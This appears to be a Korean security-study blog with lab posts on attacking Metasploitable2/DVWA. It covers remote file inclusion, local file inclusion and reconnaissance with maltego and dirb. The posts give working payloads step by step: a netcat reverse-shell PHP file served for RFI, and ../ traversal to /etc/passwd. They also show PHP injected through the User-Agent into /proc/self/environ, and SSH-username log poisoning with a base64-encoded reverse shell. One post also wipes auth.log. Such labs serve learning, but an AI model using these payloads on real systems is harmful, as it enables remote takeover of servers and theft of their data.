RFI(Remote File Inclusion)

공격자가 악성 스크립트를 웹서버에 전달해서 해당 페이지를 통해서 악성코드를 실행하는 공격 방법

 

php.ini의 allow_url_include On //이상태에서만 공격이 가능. 현재는 기본값이 OFF라 사용하기 힘듦.

 

[Metasploitable2]

 

1. vi /etc/php5/cgi/php.ini에서

allow_url_include를 On으로 변경 //공격을위해 변경.

Off값을 아래와같이 On으로 변경

2. /etc/init.d/apache2 restart //설정 저장을 위해 재시작

 

3. 공격자 시스템에서 httpd를 구현

cd /var/www/html

vi reverse.txt 

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>

 

4. 공격자 시스템에서 httpd 시작

systemctl start apache2

5. 검증

http://localhost/reverse.txt 를 url에 입력

6. 포트 8888 열기

nc -vvlp 8888

 

7. admin/password 로그인

 

8. Security lever low로 변경

 

9. file inclution 클릭

http://meta/dvwa/vulnerabilities/fi/?page=include.php

include.php 대신 http://192.168.232.100/reverse.txt를 입력

 

10. reverse.txt파일이 실행되어 원격접속이 된 것을 확인.

 

'Web Security' 카테고리의 다른 글

crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
LFI(Local File Inclusion)  (0) 2019.03.26
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25
http  (0) 2019.03.25

LFI(Local File Inclusion)

웹브라우저를 통해서 서버에 파일을 포함시키는 과정의 공격



원할한 공격을 위해 meta의 보안레벨을 low로 설정.


이 규칙에 의해 밑에 실습이 허용된다.




url을 일부로 오류를 내게되면

위의 그림과 같이 에러메세지가 출력되는데, 이것을 통해 폴더 안에 정보를 확인할 수 있다. 


이부분을 var/www/dvwa/vulnerabilities/fi/index.php 

현재위치가 var/www/dvwa/vulnerabilities/fi 총 5개로

../../../../../ -> root로 돌아온것이구 여기서 보고싶은 파일 이름을치면


아래와 같이 /etc/passwd의 파일 내용을 볼 수 있다.


같은방법으로 /var/www/dvwa/robots.txt파일의 내용도

../../../../../var/www/dvwa/robots.txt



프록시

자신의 위치를 속일 수 있음.

클 -> 프 -> 서


클 -> 프 //클라 ip -> 프록시에게 전송

  //클라는 127.0.0.1에 포트 8080 오픈

프 -> 서 //프록시 ip -> 서버에게 전송


burp-StartBurp //프록시 실행 프로그램



// 127.0.0.1 8080 으로 실행


파이어폭스에서


설정한 ip와 포트번호



세션을 맺었기 때문에 아래와 같이 로그가 남는다.



헤더의 정보를 이런식으로 확인할 수 있다.


[인터셉트를 통해 php문 삽입]


1.  인터셉트를 온으로 한다.


2.url에 http://meta/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ을 입력. 


3. 아래와 같이 탈취를하게 되는데, user-agent부분을 

<?php phpinfo() ?>로 변경


4. 요청한 페이지가 phpinfo()로 변경되어 접속이 된다.



아래와 같이 신분증과 같은역할의 값을 확인할 수 있다.




php 함수 중 passthru()

외부 프로그램을 실행하고 실행하는 동안 화면을 실시간으로 출력하는 함수 즉, 원격 접속과 비슷하다.

<?php passthru() ?>


netcat 프로그램 사용

-l  옵션 : 임의의 포트를 열어 원격접속이 가능하게 함. listen port

-p 옵션 : 포트 번호 지정

-e 옵션 : 셸을 실행

nc -vvlp 8888 //8888 포트를 개방하고 자세히 출력


열린 것 을 확인.

netstat -ant |grep 8888


<?php passthru("nc -e /bin/sh [공격자 IP] [열어놓은포트번호]"); ?>

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>


이런식으로 원격접속이 가능하게 된다.


cd /var/www/dvwa

vi index.php 수정





[SSH 연결을 통해 원격관리]

SSH TCP 22 암호화된 연결제공

ssh -l msfadmin 192.168.232.131 

ssh msfadmin@192.168.232.131

원할한 테스트를위해 메타스플로잇2의 로그를삭제.

vi /var/log/auth.log

:%d   //안에 값을 전부삭제

:wq //저장


ssh를 통해 아무 아이디로 로그인

ssh random@192.168.232.131


위의 로그인했던 정보가 auth.log에 기록된다.


wireshark로 확인해 보면 암호화로 되는 것을 볼 수 있다.


burp suite에서 decoder를 통해 아래 문장을 변환한다.

nc -e /bin/sh 192.168.232.100 8888 

bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA 암호화된 문장을 php의 추가

==을 삭제해야 실행된다.


base64로 암호화 했기 때문에 base64_decode를 붙여준다.

<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>


msfadmin@192.168.232.131  //빨간색으로 대체.

ssh "<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>"@192.168.232.131

비번 아무거나 입력


이렇게 원격 접속이 된다.











'Web Security' 카테고리의 다른 글

XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25
http  (0) 2019.03.25
bee-box설치  (0) 2019.03.21


[웹에대한 정보수집사이트]



https://whois.domaintools.com

https://toolbar.netcraft.com

https://www.robtex.com


이런식으로 그사이트에대한 정보를 알 수 있다.



http://phptest.vulnweb.com   //공격해도 무방. 연습할때 사용

http://asptest.vulnweb.com/  //공격해도 무방. 연습할때 사용

http://esptest.vulnweb.com/  //공격해도 무방. 연습할때 사용





[maltego] //정보수집 툴




//아이디 생성


//완료





실행완료




아래와 같이 그 사이트에 대한 정보들을 수집할 수 있다.



[dirb 웹 스캐닝]

[metasploitable2 정보수집]


//원할한 수집을 위해 보안을 low로 설정

metasploitable db생성


cd /var/www/mutillidae


vi config.inc  //root권한으로 열어야한다.

dbaname을 owasp10으로 수정


/etc/init.d/apache2 restart //데몬 재실행





dirb 스캐닝


dirb http://meta/dvwa  //스캐닝(운영중인 사이트에하면 위험)


아래 경로를 참조하여 스캐닝을한다. 원하는값이 없으면 여기에 추가.



//웹사이트 스캐닝


//아래와 같이 내용을 확인할 수 있다.



dirb http://meta/mutillidae


robots의 안에 내용


meta/mutillidae/robots/passwords //이런식으로 스캐닝이된다.

위의 값을 통해 로그인 //로그인이 아주 잘된다.







[임시 이메일 만들기]

https://mytemp.email/ 








'Web Security' 카테고리의 다른 글

RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26
http  (0) 2019.03.25
bee-box설치  (0) 2019.03.21
서버연동해보기  (0) 2019.03.20

+ Recent posts